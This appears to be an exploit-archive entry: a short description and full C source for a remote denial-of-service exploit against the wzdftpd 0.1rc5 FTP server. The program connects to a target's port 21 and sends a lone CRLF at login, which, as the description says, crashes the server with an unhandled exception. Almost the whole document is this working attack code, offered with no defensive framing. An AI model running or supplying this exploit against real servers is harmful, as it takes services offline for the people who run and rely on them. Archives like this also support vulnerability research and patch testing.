Remote denial of service exploit for wzdftpd FTP server version 0.1rc5 that sends a single CRLF sequence at login causing an Unhandled exception.
f2896721af926160d8173493b6d6e99ed3ec897555ba5231b65e528c5b8cfbbe
/*
wzdftpdos.c for 0.1rc5 by r3b00t <r3b00t@tx.pl>
-----------------------------------------------
remote/local wzdftpd 0.1rc5 DoS exploit
website: https://www.r3b00t.tx.pl/
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
int sock=0;
int main(int argc, char* argv[]) {
struct hostent *hp;
struct sockaddr_in addr;
printf("wzdftpdos.c for 0.1rc5 by r3b00t <r3b00t@tx.pl>\n");
if (argc<2) { printf("usage: %s <server>\n", argv[0]); exit(0); }
hp=gethostbyname(argv[1]);
if (!hp) { printf("can't resolve %s\n", argv[1]); exit(0); }
bzero((char *)&addr, sizeof(addr));
if ((sock=socket(AF_INET, SOCK_STREAM, 0))<0) {
printf("can't create socket\n");
exit(0);
}
bcopy(hp->h_addr, (char *)&addr.sin_addr, hp->h_length);
addr.sin_family=AF_INET;
addr.sin_port=htons(21);
if (connect(sock, (struct sockaddr *)&addr, sizeof(addr))!=0) {
printf("can't connect to %s\n", argv[1]);
close(sock);
exit(0);
}
printf("sending \\r\\n ... ");
send(sock, "\r\n", 2, 0);
shutdown(sock, 2);
close(sock);
printf("done.\n");
return 0;
}